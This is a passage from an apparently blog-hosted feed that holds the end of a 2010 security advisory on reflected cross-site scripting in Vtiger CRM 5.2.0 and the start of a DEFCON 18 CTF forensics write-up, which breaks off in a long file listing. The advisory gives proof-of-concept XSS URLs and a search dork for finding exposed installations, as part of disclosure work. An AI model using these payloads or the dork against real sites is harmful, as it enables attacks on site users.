PoC URL that exploits this vulnerability:

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

http://127.0.0.1/vtigercrm/index.php?module=Users&amp;amp;action=Login&amp;amp;default_user_name
=%22%20onmouseover=%22javascript:alert(&amp;#39;XSS&amp;#39;);

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

D) Cross Site Scripting (XSS) Vulnerabilities (post-auth, reflected)

A reflected XSS vulnerability exists in Vtiger CRM version 5.2.0.
The vulnerability can be exploited against authenticated users only.

The vulnerability is present due to insecure statements in the script
modules/Settings/GetFieldInfo.php that reflect unfiltered user inputs
inside the page output.

PoC URL that exploits this vulnerability:

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

http://127.0.0.1/vtigercrm/index.php?module=Settings&amp;amp;action=GetFieldInfo&amp;amp;label
=%3Cscript%3Ealert(123)%3C/scrip%3E

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

IV. DETECTION

Vtiger CRM 5.2.0 and possibly earlier versions are vulnerable.

Vtiger CRM can be identified using the following google dork:

- intitle:&amp;quot;vtiger CRM 5 - Commercial Open Source CRM&amp;quot;

V. WORKAROUND

No fix available.

VI. VENDOR RESPONSE

&amp;quot;We were able to reproduce the issues you reported on 5.2,
and are working on releasing a security update shortly.
We expect to release this update within the next 3 to 4 weeks,
after running some more tests.&amp;quot;

VII. CVE INFORMATION

CVE-2010-3909 [A]
CVE-2010-3910 [B]
CVE-2010-3911 [C, D]

VIII. DISCLOSURE TIMELINE

20101009 Bugs discovered
20101012 First vendor contact
20101012 Vendor response (Sreenivas Kanumuru)
20101012 Contacted Steven M. Christey (mitre.org)
20101012 CVEs assigned by Steven M. Christey
20100102 Vtiger CRM team confirms vulnerability (Sreenivas Kanumuru)
20101015 Advisory release scheduled for 20101115
20101116 Advisory released

IX. REFERENCES

[1] Vtiger CRM 5.0.4 Multiple Vulnerabilities
http://www.ush.it/team/ush/hack-vtigercrm_504/vtigercrm_504.txt

X. CREDIT

Giovanni &amp;quot;evilaliv3&amp;quot; Pellerano, Alessandro &amp;quot;jekil&amp;quot; Tanasi are credited
with the discovery of this vulnerability.

Giovanni &amp;quot;evilaliv3&amp;quot; Pellerano
web site: http://www.ush.it/, http://www.evilaliv3.org/
mail: evilaliv3 AT ush DOT it

Alessandro &amp;quot;jekil&amp;quot; Tanasi
web site: http://www.tanasi.it/
mail: alessandro AT tanasi DOT it

XI. LEGAL NOTICES

Copyright (c) 2010 Francesco &amp;quot;ascii&amp;quot; Ongaro

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without mine express
written consent. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please email me for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.
&lt;/pre&gt;&lt;/div&gt;
</content><category term="Research"></category><category term="vtiger"></category></entry><entry><title>DEFCON 18 CTF quals - Forensic 200 writeup</title><link href="https://jekil.sexy/blog/2010/defcon-18-ctf-quals-forensic-200-writeup.html" rel="alternate"></link><published>2010-07-01T15:20:00+01:00</published><updated>2010-07-01T15:20:00+01:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2010-07-01:/blog/2010/defcon-18-ctf-quals-forensic-200-writeup.html</id><summary type="html">&lt;p&gt;Second forensic challange of the &lt;span class="caps"&gt;DEFCON&lt;/span&gt; 18 &lt;span class="caps"&gt;CTF&lt;/span&gt; qualifications: the
suggestion was “&lt;em&gt;find the key&lt;/em&gt;” and the related file is
&lt;a class="reference external" href="http://squidzrus.schleppingsquid.net/DC18-Qual-Walks/f200_02b7b50f575759cff7.tar.lzma"&gt;here&lt;/a&gt;.
(Mirrors:
&lt;a class="reference external" href="http://cs.ucsb.edu/~bboe/public/bin/f200_02b7b50f575759cff7.tar"&gt;#1&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;Trying to identify the&amp;nbsp;file.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt; file f200_02b7b50f575759cff7.tar.lzma
&lt;span class="go"&gt;f200_02b7b50f575759cff7.tar.lzma: data&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;So we can try to trust the file&amp;nbsp;extension.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt; unlzma -d f200_02b7b50f575759cff7.tar.lzma

&lt;span class="gp"&gt;$&lt;/span&gt; tar xvf f200_02b7b50f575759cff7.tar
&lt;span class="go"&gt;IMG_0001.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0002.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0003.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0004.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0005.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0006.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0007.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0008.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0009.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0010.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0011.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0012.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0013.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0014.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0015.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0016.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0017.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0018.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0019.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0020.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0021.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0022.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0023.png …&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;Second forensic challange of the &lt;span class="caps"&gt;DEFCON&lt;/span&gt; 18 &lt;span class="caps"&gt;CTF&lt;/span&gt; qualifications: the
suggestion was “&lt;em&gt;find the key&lt;/em&gt;” and the related file is
&lt;a class="reference external" href="http://squidzrus.schleppingsquid.net/DC18-Qual-Walks/f200_02b7b50f575759cff7.tar.lzma"&gt;here&lt;/a&gt;.
(Mirrors:
&lt;a class="reference external" href="http://cs.ucsb.edu/~bboe/public/bin/f200_02b7b50f575759cff7.tar"&gt;#1&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;Trying to identify the&amp;nbsp;file.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt; file f200_02b7b50f575759cff7.tar.lzma
&lt;span class="go"&gt;f200_02b7b50f575759cff7.tar.lzma: data&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;So we can try to trust the file&amp;nbsp;extension.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt; unlzma -d f200_02b7b50f575759cff7.tar.lzma

&lt;span class="gp"&gt;$&lt;/span&gt; tar xvf f200_02b7b50f575759cff7.tar
&lt;span class="go"&gt;IMG_0001.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0002.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0003.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0004.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0005.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0006.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0007.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0008.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0009.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0010.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0011.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0012.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0013.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0014.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0015.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0016.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0017.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0018.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0019.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0020.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0021.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0022.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0023.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0024.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0025.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0026.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0027.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0028.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0029.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0030.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0031.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0032.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0033.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0034.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0035.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0036.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0037.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0038.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0039.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0040.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0041.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0042.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0043.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0044.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0045.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0046.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0047.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0048.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0049.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0050.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0051.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0052.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0053.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0054.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0055.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0056.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0057.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0058.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0059.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0060.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0061.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0062.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0063.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0064.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0065.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0066.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0067.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0068.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0069.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0070.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0071.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0072.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0073.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0074.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0075.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0076.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0077.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0078.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0079.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0080.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0081.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0082.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0083.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0084.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0085.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0086.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0087.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0088.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0089.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0090.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0091.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0092.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0093.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0094.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0095.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0096.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0097.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0098.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0099.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0100.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0101.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0102.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0103.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0104.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0105.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0106.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0107.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0108.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0109.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0110.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0111.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0112.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0113.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0114.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0115.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0116.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0117.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0118.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0119.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0120.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0121.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0122.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0123.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0124.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0125.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0126.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0127.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0128.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0129.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0130.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0131.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0132.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0133.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0134.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0135.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0136.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0137.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0138.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0139.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0140.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0141.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0142.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0143.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0144.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0145.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0146.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0147.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0148.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0149.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0150.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0151.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0152.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0153.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0154.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0155.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0156.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0157.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0158.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0159.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0160.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0161.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0162.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0163.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0164.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0165.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0166.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0167.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0168.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0169.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0170.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0171.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0172.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0173.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0174.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0175.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0176.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0177.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0178.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0179.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0180.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0181.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0182.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0183.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0184.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0185.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0186.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0187.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0188.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0189.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0190.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0191.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0192.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0193.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0194.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0195.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0196.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0197.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0198.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0199.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0200.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0201.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0202.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0203.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0204.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0205.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0206.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0207.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0208.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0209.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0210.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0211.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0212.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0213.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0214.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0215.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0216.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0217.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0218.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0219.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0220.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0221.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0222.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0223.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0224.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0225.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0226.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0227.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0228.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0229.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0230.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0231.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0232.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0233.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0234.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0235.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0236.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0237.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0238.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0239.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0240.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0241.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0242.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0243.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0244.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0245.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0246.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0247.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0248.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0249.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0250.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0251.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0252.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0253.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0254.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0255.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0256.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0257.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0258.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0259.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0260.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0261.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0262.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0263.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0264.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0265.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0266.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0267.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0268.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0269.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0270.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0271.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0272.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0273.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0274.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0275.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0276.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0277.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0278.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0279.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0280.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0281.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0282.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0283.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0284.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0285.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0286.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0287.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0288.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0289.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0290.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0291.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0292.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0293.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0294.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0295.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0296.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0297.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0298.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0299.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0300.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0301.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0302.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0303.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0304.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0305.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0306.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0307.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0308.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0309.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0310.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0311.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0312.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0313.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0314.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0315.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0316.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0317.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0318.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0319.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0320.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0321.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0322.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0323.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0324.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0325.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0326.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0327.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0328.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0329.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0330.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0331.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0332.png&lt;/span&gt;
&lt;span class="go"&gt;IMG_0333.png&lt;/span&gt;
